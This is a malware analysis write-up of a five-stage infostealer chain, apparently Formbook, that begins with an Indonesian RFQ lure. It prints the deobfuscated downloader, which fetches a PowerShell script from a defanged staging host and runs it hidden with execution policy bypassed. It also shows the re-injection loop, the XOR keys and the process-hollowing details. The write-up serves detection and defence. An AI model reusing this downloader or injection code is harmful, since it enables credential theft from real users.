0. Preface

This write-up traces a five-stage chain from an Indonesian-language malspam attachment down to a crypted x86 payload, combining static deobfuscation, an isolated Flare-VM detonation, and a debugger-assisted unpack.

The sample arrives as Penawaran RFQ Terlampir 2026.pdf.js — “Penawaran RFQ” is Indonesian for RFQ Quotation, and the double extension is the entire social-engineering play. It is Windows Script Host JavaScript, not a PDF and not browser JS.

Four of the five stages are fully characterised: the JS downloader, the XOR PowerShell wrapper, the guardian/injector script, and the ConfuserEx .NET process-hollowing injector. The fifth — the final payload — was successfully unpacked from memory (7 functions → 430), and its browser-theft capability is confirmed from recovered code. Its C2 configuration was not recovered; see §11 for exactly where that stalled and why.

Family attribution, up front and with a caveat: every behaviour observed is consistent with Formbook — aspnet_compiler.exe hollowing, hand-rolled export-table API resolution, chunked self-decryption, migrate-and-exit. But the payload’s config block never decrypted, so nothing here proves the family. Attribution rests on the MalwareBazaar tag plus behavioural match, not on recovered config or infrastructure. The staging host hxxp://surun[.]info/nh1ykmf/qagxfjr/wxtrdlm/Cryptedk.ps1 is confirmed from the downloader; it was never contacted during analysis.

1. The Threat at a Glance

AttributeAssessment
Malware typeMalspam attachment → WSH JS downloader → XOR’d PowerShell wrapper → guardian/injector script → .NET RunPE injector → crypted x86 payload
DeliveryEmail attachment Penawaran RFQ Terlampir 2026.pdf.js (double extension, Indonesian RFQ lure)
FamilyFormbook (per MalwareBazaar tag + behavioural match; not confirmed from recovered config)
Staging hosthxxp://surun[.]info/nh1ykmf/qagxfjr/wxtrdlm/Cryptedk.ps1 (plain HTTP, no fallback)
C2Not recovered — config block remains encrypted (see §11)
TargetWindows (WSH + PowerShell 5.1 + .NET 4.x; final payload x86)
InjectionClassic process hollowing into C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe (signed Microsoft LOLBIN)
PersistenceNone. Instead: a 5-second watchdog loop that re-injects whenever the hollowed process dies
Evasionobfuscator.io RC4 string arrays; repeating-key XOR; ConfuserEx (invisible-Unicode names, control-flow flattening); pe_to_shellcode conversion; zero import table; hand-rolled export-table API resolution; chunked decrypt-execute-restore anti-dump
Capability (recovered)Browser credential theft — Chrome Local State key store, Firefox profile paths
ConfidenceHigh for stages 1–4 (byte-exact, reproduced offline). Medium-high for stage 5 (unpacked and disassembled; config not decrypted)

2. Infection Chain Overview

StageFileSHA-256Role
1Penawaran RFQ Terlampir 2026.pdf.js30e5af4d627069f7c7cf541a309bdd30050cf6f21232e6ad2aeeb4210053b8a9obfuscator.io WSH downloader; fetches and runs the PS1
2Cryptedk.ps10040d17d3162b7043d11c1826811cb4bf419bc106a91351a8f0d56b790cdff141.06 MB hex blob + repeating-key XOR; decrypts to PowerShell, not a PE
3stage2_decrypted.ps1 (extracted)927186f8bde20c4205ad620dad92b7dbd4a85d4bd797c642ba45c20f321dc2bfGuardian watchdog loop; carries two embedded PEs
4stage3_injector.dll (extracted)d1fbda51a1d6f8033ce80fa149e612c146030ea14338663b432e1f89480f7d1fConfuserEx .NET RunPE injector, KMK.EXECUTE.LAUNCH
5stage4_payload.bin (extracted)c244dc93f8a675b0c0012b07d9f09f89e1d65db87f44ffee9fa04dc57dc711f3pe_to_shellcode-wrapped x86 PE, zero imports, entropy 7.967
5'unpacked.bin (memory dump)—Stage 5 after in-memory self-decryption; 430 functions recovered

Two nested encryptions and a crypter: the JS hides its URL behind RC4 string arrays, the PS1 hides a whole second script behind XOR, and the payload hides itself behind a chunked self-decrypting crypter. Only stage 2 ever touches disk.

3. Stage 1 — The .pdf.js Downloader

Standard obfuscator.io output: RC4 + Base64 string array, a two-level string table, split numeric literals (0x2d * -0xa1 + -0x2708 + 0x4355), proxy-function wrappers, and switch-based control-flow flattening.

Deobfuscation was a four-pass AST rewrite (Babel): load the decoder functions in isolation and resolve every alias(idx, 'key') call, constant-fold the arithmetic, inline the proxy objects, then reorder the flattened switches by their dispatch strings ("3|1|0|2|4", "1|2|0|4|3", "2|1|3|0|4"). The result is ~60 lines:

function run() {
    ensureFolder("C:\\Temp\\");                       // FSO.CreateFolder
    payload = download(CONFIG.url, 2);                // MSXML2.XMLHTTP, sync GET
    return dropAndRun(payload, "C:\\Temp\\");
}

function dropAndRun(content, folder) {
    var name     = Math.random().toString(36).substring(2,10).toUpperCase() + ".ps1";
    var fullPath = folder + name;                     // C:\Temp\K3X9ZQ1A.ps1
    fso.CreateTextFile(fullPath, true).Write(content);
    shell.Run('powershell.exe -nop -ep bypass -file "' + fullPath + '"', 0, true);
}

Three details worth recording. The retry loop is attempt <= retries with retries = 2, so it makes three GET attempts, not two. shell.Run(cmd, 0, true) runs hidden and synchronous. And after run() fires on open, the script leaves this.ScriptAPI = {run, config, reset} in the WSH global — a getter/setter over the config object that the sample never uses itself, suggesting a reusable downloader template rather than bespoke code.

There is no persistence, no sandbox check, and no anti-analysis beyond the obfuscator. Plain HTTP, no user-agent tampering, single URL, no fallback.

4. Stage 2 — Cryptedk.ps1

2.26 MB, of which 34,787 lines are a hex blob in a here-string. The wrapper is honest about itself in its own comments (“Multi-stage decryption wrapper with XOR cipher and dynamic execution”).

$script:KeyHex = 'b0aa580db3dba897e91c30ca66be6487e4db0d27baf4dc7b13923b596f7910a8'

1,113,150 bytes of ciphertext, 32-byte repeating-key XOR, [Text.Encoding]::UTF8.GetString. The plaintext is PowerShell source, not a PE — a point worth stressing, because decoding the hex and eyeballing the result as a hexdump makes it look like a failed decrypt. It is executed via [ScriptBlock]::Create($ScriptText), with a fallback to a fresh runspace + Invoke-Expression if in-process invocation throws.

That fallback matters more than it looks. The parent sets Set-StrictMode -Version Latest, which is exactly what the next stage trips over.

5. Stage 3 — The Guardian Loop

143 lines, ending in a bare Begin-Guardian call with defaults -GuardTarget aspnet_compiler -CycleDelay 5:

while ($true) {
    if (Query-ProcessAbsence -ProcessAlias $GuardTarget) {
        $unmaskedArtifact = Unmask-ProtectedBlob -ProtectedValue $protectedArtifact `
                                                 -RecoveryPhrase "THeDevil56@@^"
        $routineImage = [Convert]::FromBase64String($unmaskedArtifact)
        $targetBinary = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe'
        $argumentVector = @($targetBinary, $payloadBytes)          # line 121
        Activate-AssemblyRoutine -RoutineImage $routineImage `
                                 -NamespacePath 'KMK.EXECUTE' `
                                 -RoutineLabel  'LAUNCH' `
                                 -PayloadArgs   $argumentVector
        [Byte[]]$payloadBytes = (77,90,69,82,232,0,0,0,...)        # line 130
    }
    Start-Sleep -Seconds $CycleDelay
}

This is not persistence — it is a watchdog. There is no registry key, no scheduled task, no startup folder entry. Instead the script stays resident and re-injects within five seconds of the hollowed process dying. Killing aspnet_compiler.exe accomplishes nothing while the PowerShell parent lives.

The injector is triple-wrapped: Base64 → XOR with the ASCII key THeDevil56@@^ → Base64 → .NET assembly. The final payload is a plain decimal byte array beginning 77,90,69,82 — MZER.

5.1 An implementation bug worth knowing

$payloadBytes is consumed at line 121 but not assigned until line 130, inside the same loop body. PowerShell does not hoist. The consequences differ by execution path, which is where stage 2’s fallback becomes relevant:

  • In-process (& $block), the parent’s Set-StrictMode -Version Latest applies, so referencing the unassigned variable throws — which is precisely what triggers the runspace fallback.
  • In the fresh runspace, StrictMode is not set. $payloadBytes is simply $null, so the first injection attempt passes a null byte array and fails silently. The assignment then persists in scope, and the second iteration — five seconds later — injects correctly.

Observable artifacts: one failed injection, then a ~5-second gap before the real one. Detonation matched this, with aspnet_compiler.exe PIDs cycling on roughly a five-second cadence.

6. Stage 4 — The ConfuserEx RunPE Injector

55,296-byte .NET assembly, KMK.dll, protected with ConfuserEx — invisible-Unicode identifiers (\u206c\u202a\u202e…), ConfusedByAttribute, and switch-based control-flow flattening with XOR-computed state (switch ((num2 = (uint)(num ^ 0x73C05AE6)) % 60)).

Its entire static import surface is two functions:

[DllImport("kernel32", EntryPoint = "LoadLibraryA")]
[DllImport("kernel32", EntryPoint = "GetProcAddress")]

Everything else is resolved at runtime through Marshal.GetDelegateForFunctionPointer, so the import table reveals nothing about capability. The flattening survives decompilation, but three constants give the technique away without reading the state machine:

ConstantMeaning
array[41]CONTEXT.Ebx (x86 offset 0xA4) — PEB pointer
array[44]CONTEXT.Eax (x86 offset 0xB0) — entry point to patch
num8 + 2484 + 20 + 224 — PE signature + COFF header + optional header = first section header

That is textbook x86 process hollowing: create suspended, read the PEB image base via Ebx+8, write headers and sections, patch Eax to the new entry point, SetThreadContext, ResumeThread. LAUNCH(string targetPath, byte[] shellcode) names its second parameter shellcode, which foreshadows the next stage.

7. Stage 5 — The Crypted Payload, Statically

285,184 bytes, PE32 GUI, and immediately unusual:

00000000: 4d5a 4552 e800 0000 0058 83e8 098b c883  MZER.....X......
00000010: c03c 8b00 03c1 83c0 2803 08ff e190       .<......(.....
4:  e8 00 00 00 00   call  $+5          ; push EIP
9:  58               pop   %eax
a:  83 e8 09         sub   $0x9,%eax    ; -> image base
d:  8b c8            mov   %eax,%ecx
f:  83 c0 3c         add   $0x3c,%eax   ; e_lfanew
12: 8b 00            mov   (%eax),%eax
14: 03 c1            add   %ecx,%eax    ; -> NT headers
16: 83 c0 28         add   $0x28,%eax   ; -> AddressOfEntryPoint
19: 03 08            add   (%eax),%ecx
1b: ff e1            jmp   *%ecx

A 25-byte position-independent stub overwriting the DOS header — hasherezade’s pe_to_shellcode (pe2shc). The buffer is directly executable as shellcode, which is why stage 3 passes it as $shellcode.

Everything else is consistent with that conversion: a single flat-mapped .text (PointerToRawData == VirtualAddress == 0x1000), all sixteen data directories zeroed — no imports, exports, relocations, or TLS — and overall entropy 7.967.

DllCharacteristics = 0x8140 sets DYNAMIC_BASE, but with no relocation directory the loader has nothing to relocate, so it lands on its preferred base in practice. (In the debugger it loaded at 0xA50000, not 0x400000 — verify the base before trusting any absolute address below.)

kuna finds only 7 functions in 280 KB, and an entropy map says why:

Range (RVA)EntropyContent
0x0000–0x0FFF0.53headers + pe2shc stub
0x1000–0x26FF5.9–6.8real code — the crypter
0x2710—entry point
0x3000–0x45A00~7.95encrypted body, ~270 KB

Five of the seven functions are CRT primitives (strlen, wcslen, memcpy, memset, and a 113-byte struct copy). The crypter is one function: sub_4010F0, 5,504 bytes.

7.1 The dispatcher

sub_4010F0 is a recursive dispatcher. Callers write a one-byte opcode to ctx+0x34B, call it, and the callee matches that against 21 guards of the shape:

if ((ctx[0x132] ^ 0xE9D0B756) == ctx[0xD6]) { ... }
if ((ctx[0x132] ^ 0x3A2ABFA0) == ctx[0x4C1]) { ... }

It locates its own context by scanning the stack for the marker dword 0x05DE25AC (planted by the entry stub), then ctx = found_address - 0x353.

7.2 API resolution without an import table

Guard 0xA9C9D9B0 walks export directories by hand:

v72 = base + exportDirRVA;            // NT header + 0x78 = DataDirectory[0]
v38 = base + [v72+0x20];              // AddressOfNames
v40 = base + [v72+0x24];              // AddressOfNameOrdinals
v36 = base + [v72+0x1C];              // AddressOfFunctions
for (i = 0; i < [v72+0x18]; i++) {    // NumberOfNames
    compare name[i] against ctx[0x4A1];
    if (matched) ctx[0x35C] = base + [v36 + word[v40+i*2]*4];
}

The comparison (guard 0x00EF0D98) is deliberately obfuscated: a case-insensitive compare whose range bounds are themselves XOR-masked (ctx[0x357]^0x0C, ctx[0xA9]^0x4F, ctx[0x58]^0x5E, ctx[0x48C]^0x9F, ctx[0x301]^0x3A), so no API name and no character-range constant appears in plaintext. A hardware write-breakpoint on ctx+0x35C logs every resolved API without waiting for the unpack to finish.

7.3 The anti-dump mechanism

This is the part that defeats memory-dump tooling:

401C77  call 4026E0    ; memset(scratch, 0, 0x71)
401C91  call 4026B0    ; memcpy(save, chunk, 0x71)   <- SAVE original
401CA7  rep movsl      ; 0x1C dwords = 112-byte stub OVER chunk head
401CAC  mov  0x364(%edx),%eax
401CB2  call *%eax     ; <- EXECUTE the chunk
401CC6  call 4026B0    ; memcpy(chunk, save, 0x71)   <- RESTORE
401CCE  jmp  401C28    ; next chunk

The 112-byte stub is itself XOR-0x0C-decrypted at 0x401BEC immediately before the loop. Chunk size is ctx[0x102] = 0x5900; the count comes from ctx[0x22D] and was 11 at runtime.

The payload only ever exists decrypted one 22 KB chunk at a time, and the original bytes are written back before the next iteration. Any whole-image dump taken outside that window is ciphertext.

Control finally transfers at:

401DC4  mov  0x211(%ecx),%edx    ; allocated base of decrypted payload
401DCA  add  $0x2DDE0,%edx       ; + OEP offset
401DDC  call *%eax               ; real payload OEP

8. Dynamic Analysis — Flare-VM Detonation

Detonated in VirtualBox Flare-VM with all eight vNICs set to none, clipboard and drag-and-drop disabled, and no shared folders. Isolation was verified from inside the guest before the sample was staged:

Get-NetAdapter   -> OpenVPN Wintun / DCO / TAP-Windows6 only, all Disconnected
Get-NetIPAddress -> 169.254.x.x APIPA only, RoutableIPs = 0
Get-NetRoute 0.0.0.0/0 -> DefaultRoutes = 0
[Net.Dns]::GetHostAddresses("google.com") -> DNS_FAILED
TcpClient 1.1.1.1:53 -> TCP_FAILED

Samples were transferred over the VirtualBox guest-control channel (hypervisor RPC), never a network. surun[.]info was never contacted.

8.1 Hollowing confirmed

hollows_hunter in loop mode caught successive hollowed instances. pe-sieve’s report for one:

"main_image_path" : "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe",
"is_pe_replaced" : 1,   "dos_hdr_modified" : 1,  "file_hdr_modified" : 1,
"nt_hdr_modified" : 1,  "ep_modified" : 1,       "sec_hdr_modified" : 1,
"is_connected_to_peb" : 1,
"sections_count" : 1,   "module_size" : "46000"

sections_count = 1 and module_size = 0x46000 match stage 5 exactly.

8.2 What the dumps did and did not give

Every whole-image dump came back at entropy ~7.95 — identical to the on-disk packed file, same 69 strings. That is the §7.3 restore loop working as designed, confirmed empirically before it was understood statically.

One dump was different: a 16 KB region at entropy 3.046, with an IAT resolving NtAllocateVirtualMemory, NtDelayExecution, and LdrLoadDll — the loader stub, decrypted. A 32-bit ntdll (wntdll.pdb) was also flagged as modified.

8.3 Execution shape

Run directly, stage4.exe exits with code 0 after roughly one second, having spawned a second instance of itself; that second instance lives ~15 seconds. An elevated system-wide scan flagged 19 processes but found no clean migration target — the remainder were Edge/.NET JIT false positives and ImageMagick’s convert.exe with large image buffers.

Practical note: an unelevated scan reached only 10 of ~40 processes for lack of SeDebugPrivilege, and guestcontrol runs outside the interactive session, so elevation had to be driven from the desktop session itself.

9. Unpacking in x32dbg

The static analysis reduces to two breakpoints. With the image at 0xA50000 (ASLR relocated it, +0x650000 from the preferred base):

RVAPurpose
0x1CB2chunk decrypt/execute — fires 11 times, EAX = chunk address
0x1DDCfinal transfer — EAX = OEP of the unpacked payload

At 0x1DDC, mem.base(eax) / mem.size(eax) give the allocation bounds directly:

[chunk 0]  addr=597551 size=0x5900     ... 11 chunks, stride 0x5900 ...
[+] OEP         = 5BFA31
[+] region base = 590000
[+] region size = 46000
[+] OEP RVA     = 2FA31

The OEP RVA reads 0x2FA31 from the allocation base but 0x2DDE0 from ctx[0x211] — the two references differ by exactly 0x1C51, a constant that appears literally in the crypter (v30 = 0x1c51). Verify: 0x5BFA31 − 0x2DDE0 = 0x591C51 = ctx[0x211], and 0x591C51 − 0x590000 = 0x1C51. Dumping from the allocation base is the better choice — it includes the 0x1C51 header the other reference would truncate.

10. The Unpacked Payload

The dump is headerless — no MZ at base, so Scylla cannot rebuild it. Wrapping it in synthetic PE headers (ImageBase 0x580000, one section at 0x590000, EP 0x5BFA31) makes it loadable, and kuna goes from 7 functions to 430.

Entropy drops 7.967 → 7.618. The OEP is a thin wrapper into a trampoline table:

5BFA31  push ebp
5BFA34  sub  esp,0x64
5BFA37  call 5BE061          ; real main
5BFA3F  ret
5BFA40  e8 00 00 00 00       ; call $+5  \
5BFA45  58                   ; pop eax    | repeating indirect-dispatch stubs
5BFA46  c3                   ; ret        |
5BFA47  e9 ...               ; jmp target /

10.1 Strings are code, not data

strings on the unpacked image still returns nothing useful, because the strings are built inline as immediates:

5ade43  movl $0x690046,-0x14(%ebp)    ; "Fi"
5ade4a  movl $0x650072,-0x10(%ebp)    ; "re"
5ade51  movl $0x6f0066,-0x0c(%ebp)    ; "fo"
5ade58  movl $0x5c0078,-0x08(%ebp)    ; "x\"

Recovering them requires grouping mov $imm, disp(reg) stores by function and stack displacement, then decoding the reassembled runs as ASCII and UTF-16LE. Fifteen came back:

StringEncodingFunction
Firefox\UTF-16sub_5ADDF1
PATHUTF-16sub_5ADDF1
Local StateUTF-16sub_5B6901
ChromeUTF-16sub_5ADAC1
FirefoxUTF-16sub_5AE031
Program Files / ProgramFilesUTF-16sub_5AE031 / sub_5A8A91
\explorer.exeUTF-16sub_5A16C1
.exe / .zipUTF-16sub_5A8A91 / sub_5B60A1
urlmon.dllASCIIsub_5B60A1
en-US,enASCIIsub_594011
FALSE / H(K%)X / -2871807_2ASCII—

Local State is Chrome’s encrypted-key store and Firefox\ its profile path. Browser credential theft is confirmed from recovered code, not inferred from the family label.

11. Where This Stalled — The Config Block

The C2 configuration was not recovered. It sits at RVA 0x30000–0x44000 of the unpacked image (VA 0x5C0000–0x5D4000, ~80 KB) at entropy 7.977, and three findings bound the problem:

  • It is inside the chunk-decrypted range (RVA 0x7551–0x44851), so it is deliberately encrypted data, not unprocessed padding.
  • There are zero absolute references to it across all 430 functions — it is reached only through computed pointers.
  • Entropy 7.977 sustained over 80 KB indicates a stream cipher, not repeating-key XOR. There is no statistical attack, and no key is statically recoverable.

Scanning every dump collected during detonation for URL and domain patterns produced only ntdll’s own Microsoft strings. The block decrypts on demand, after the breakpoint at which the image was captured.

The step that would close this: a hardware breakpoint on access at payload_base + 0x30000. Whatever fires is the config decryptor, with key material live in registers or on the stack; stepping past its loop and dumping +0x30000–+0x44000 yields the list. Formbook-family configs are typically a mix of decoy domains and one or two live ones, so expect 15–60 entries requiring triage.

12. Indicators of Compromise

Files

SHA-256Name
30e5af4d627069f7c7cf541a309bdd30050cf6f21232e6ad2aeeb4210053b8a9Penawaran RFQ Terlampir 2026.pdf.js
0040d17d3162b7043d11c1826811cb4bf419bc106a91351a8f0d56b790cdff14Cryptedk.ps1
927186f8bde20c4205ad620dad92b7dbd4a85d4bd797c642ba45c20f321dc2bfstage 3 guardian script (extracted)
d1fbda51a1d6f8033ce80fa149e612c146030ea14338663b432e1f89480f7d1fKMK.dll injector (extracted)
c244dc93f8a675b0c0012b07d9f09f89e1d65db87f44ffee9fa04dc57dc711f3stage 5 crypted payload (extracted)

Network

hxxp://surun[.]info/nh1ykmf/qagxfjr/wxtrdlm/Cryptedk.ps1

Plain HTTP, no fallback, no second URL anywhere in the chain.

Host

C:\Temp\<8 random base36 chars, uppercased>.ps1
powershell.exe -nop -ep bypass -file "C:\Temp\*.ps1"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe   (hollowed)

Keys and constants

ValueUse
b0aa580db3dba897e91c30ca66be6487e4db0d27baf4dc7b13923b596f7910a8stage 2 XOR key (32 bytes)
THeDevil56@@^stage 3 injector XOR key (ASCII)
0x0Cstage 5 chunk-stub XOR
0x05DE25ACstage 5 stack-context marker dword
KMK.EXECUTE.LAUNCHinjector entry point
0x5900 / 11chunk size / chunk count

13. Detection Opportunities

  • Process tree: wscript.exe → powershell.exe → aspnet_compiler.exe. aspnet_compiler.exe has no legitimate reason to be spawned by PowerShell outside a build context.
  • The watchdog cadence is the strongest behavioural signal. aspnet_compiler.exe respawning on a ~5-second interval, preceded by one failed injection, is specific to the §5.1 ordering bug.
  • Script engine writing *.ps1 to C:\Temp\ with an 8-character uppercase base36 name.
  • powershell.exe -nop -ep bypass -file pointed at C:\Temp\.
  • A long-lived powershell.exe holding a 5-second polling loop over Get-Process.
  • Plain-HTTP GET for a .ps1 from a script host — trivially greppable in proxy logs, as the chain does no user-agent tampering.
  • aspnet_compiler.exe with a single-section image and a modified entry point (pe-sieve/hollows_hunter is_pe_replaced).

14. MITRE ATT&CK

TacticTechnique
Initial AccessT1566.001 Phishing: Spearphishing Attachment (Indonesian RFQ lure, .pdf.js double extension)
ExecutionT1059.007 JavaScript (WSH); T1059.001 PowerShell; T1204.002 User Execution: Malicious File
Defense EvasionT1027 Obfuscated Files or Information (obfuscator.io RC4 arrays, XOR layers, ConfuserEx); T1027.007 Dynamic API Resolution (hand-rolled export walk, zero import table); T1140 Deobfuscate/Decode Files or Information; T1055.012 Process Hollowing; T1036.005 Masquerading: Match Legitimate Name or Location (aspnet_compiler.exe); T1218 Signed Binary Proxy Execution (.NET Framework LOLBIN); T1497 Virtualization/Sandbox Evasion (chunked decrypt-restore defeats memory dumping; not a VM check)
PersistenceNone observed — replaced by a resident watchdog loop
Credential AccessT1555.003 Credentials from Web Browsers (Chrome Local State, Firefox profile paths — recovered from code)
Command and ControlT1105 Ingress Tool Transfer (HTTP GET of the PS1); T1071.001 Web Protocols

15. Confidence and Gaps

Traced and verified end-to-end: JS deobfuscation (AST-rewritten, all 42 string-decoder call sites resolved, zero unresolved); stage 2 XOR (key recovered, decrypted offline, byte-exact); stage 3 extraction of both PEs (Base64/XOR/Base64 reproduced offline, both MZ-verified); injector technique (CONTEXT offsets and section-header arithmetic, corroborated by pe-sieve’s is_pe_replaced and matching module_size at runtime); pe2shc identification (stub disassembled instruction by instruction); crypter mechanics (dispatcher, export walk, chunk loop — all confirmed against the live run, including the 11-chunk count and 0x5900 stride); the unpack itself (OEP verified as a valid function prologue, 430 functions recovered).

Identified but not exhaustively reversed: the remaining 17 of 21 dispatcher guards; the trampoline table’s full target set; which of the 430 functions implement exfiltration as opposed to collection.

Still open:

  • C2 unknown. The config block is located and bounded but not decrypted (§11). This is the single largest gap, and it is what keeps family attribution behavioural rather than confirmed.
  • Family attribution is not proven. Every TTP matches Formbook, but with no recovered config or infrastructure, this rests on the MalwareBazaar tag plus behavioural similarity. Treat “Formbook” here as a well-supported label, not a verified one.
  • Exfiltration unobserved. Detonation was air-gapped by design, so no network behaviour was seen. The recovered browser-theft strings establish intent; they do not establish protocol.
  • Staging host uncontacted. surun[.]info was never reached, so whether it still serves Cryptedk.ps1 — and whether it serves the same bytes — is unknown.